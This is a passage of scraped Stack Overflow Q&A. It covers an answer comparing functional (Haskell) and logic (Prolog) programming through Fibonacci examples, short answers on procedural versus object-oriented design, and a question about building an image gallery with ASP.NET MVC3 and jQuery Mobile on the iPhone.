*pattern matching: we separately defined "fib 0", "fib 1" and "fib n" for rest of numbers, no constructs like if were needed
*declarative style - we don't define the order of steps to calculate main function value: the compiler/interpreter/runtime figures this out by itself, given the function definitions. We tell the computer what we want to get, not what to do.
*Lazy evaluation. If main was calling only "fib 2" then "fib n" was not called because functions are evaluated only when their result is needed to be passed as parameter to other functions.
But the main feature of functional languages is that functions are first class objects.
This can be demonstrated by other implementation of fib:
fib n = fibs!!n
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)
Here we are passing fibs function as parameter to zipWith function.
This example also demonstrates lazy evaluation: "infinite" list is computed only to extent it is needed for other functions.
By the way, functional does not necessary mean not object oriented. An example of programming language that is both functional and object oriented is Scala.
Prolog:
fib(1, 1).
fib(2, 1).
fib(X, Y):-
X > 1,
X1 is X - 1,
X2 is X - 2,
fib(X1, Z),
fib(X2, W),
Y is W + Z.
main :-
fib(6,X), write(X), nl.
Following features of logic programming style can be seen:
*
*Language is declarative. As in functional style, we define things and not telling in what order to do them.
*But the difference with functional style is that we define predicates, not functions. In this case, predicate fib(X, Y) means "X-th Fibonacci number is Y". Given some known predicates (fib(1, 1) and fib(2, 1) - i.e. first Fibonacci number is 1 and second Fibonacci number is 1) and rules to infer other predicates (Y is X-th Fibonacci number is Y is a sum of X-1th Fibonacci number and X-2th Fibonacci number), Prolog infers predicates in question. Actually there could be more than 1 answer!
*There is no input values and return value - instead of this we define a relation between "input" and "output".
This program could also be used to find out that Fibonacci number 8 is at 6th position in the sequence:
?- between(0,inf,X), fib(X,8).
X = 6 .
A: http://99-bottles-of-beer.net/
(It features my own horribly contrived 99 language.)
A: Well its very simple
*
*Procedural, Functional logic
lets say you want to compute something (that's what computers do)
*
*break the problem into functions say f1,f2,f3....
now if you look at the problem , you see it divided into functions .. but there has to be a starting point (from where you start the computation) and ending point (where you end the computation) and between them are the functions (f1,f2,f3).
Thus what you have really done is instead of writing one big function (F) that does every thing and is very long you have break it into smaller parts (this is known as refactoring). Understanding a single function that is 150 line long is boring.. when you get to the end of line you will forget where you started thus we break things apart.
now how we do the computation --- >
We create a single function say compute() (this is known as facade ) that will call the remaining functions (f1,f2,f3...) in desired ordered and will return the result.
Now understand this:
If we had written a single function that would have been around 150 lines (complexity increases)..
assume we broke down it into 3 functions and say each function is of 50 lines (manageable) .. how did we reduce complexity since the sum of lines of 3 functions is still 150 :D . the complexity is reduced by function name .. which clearly states what the function does.. it means looking at the name you can have a idea what the function does.
OO Programming logic:
Now functions are scattered in functional logic .. when we bring all the related functions (behavior) inside a single umbrella (Class) we have further reduced the complexity .. how .. by "Class name". Now you can say that instead of calling f1,f2,f3.. we call c1.f1(),c2.f2,c3.f3() where "c" denotes a class (domain driven design).
imp .. no matter whether you use oops or functional logic there is always a starting and ending point of computation ... remember the compute() i talked about.. and the question is who call's it .. and the answer is you .. Everything OOP's logic or procedural logic is hidden behind it (Service Facade)
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592505",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "12"
}
|
Q: How to create image gallery in ASP.NET MVC3 with jquerymobile? i have develop a Jquerymobile applicataion in MVC3(Razor) it is working fine in mobile devices and desctop.Now i want create image gallery in this app that is when i open the app in Iphone then i get the images from Iphone gallery for uploading..Please help me how can i get all images gallery in Iphone..
A: a google [ other search engines available ] search for html image gallery, jquery gallery etc should yeild quite good results for displaying a gallery. however if you want the photo from the phone itself then you need something like phonegap and create an application for a phone so that you can access the phone itself.
there is no way for a website to access iphones files, hence the reason why upload boxes are disabled when you visit websites.
the other options is to hook through facebook and allow users to pick a photo from the ONLINE content, that can then be passed over, however this is theory and you need to actually create something, anything and then maybe get guidance when you are stuck, or have problems.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592506",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.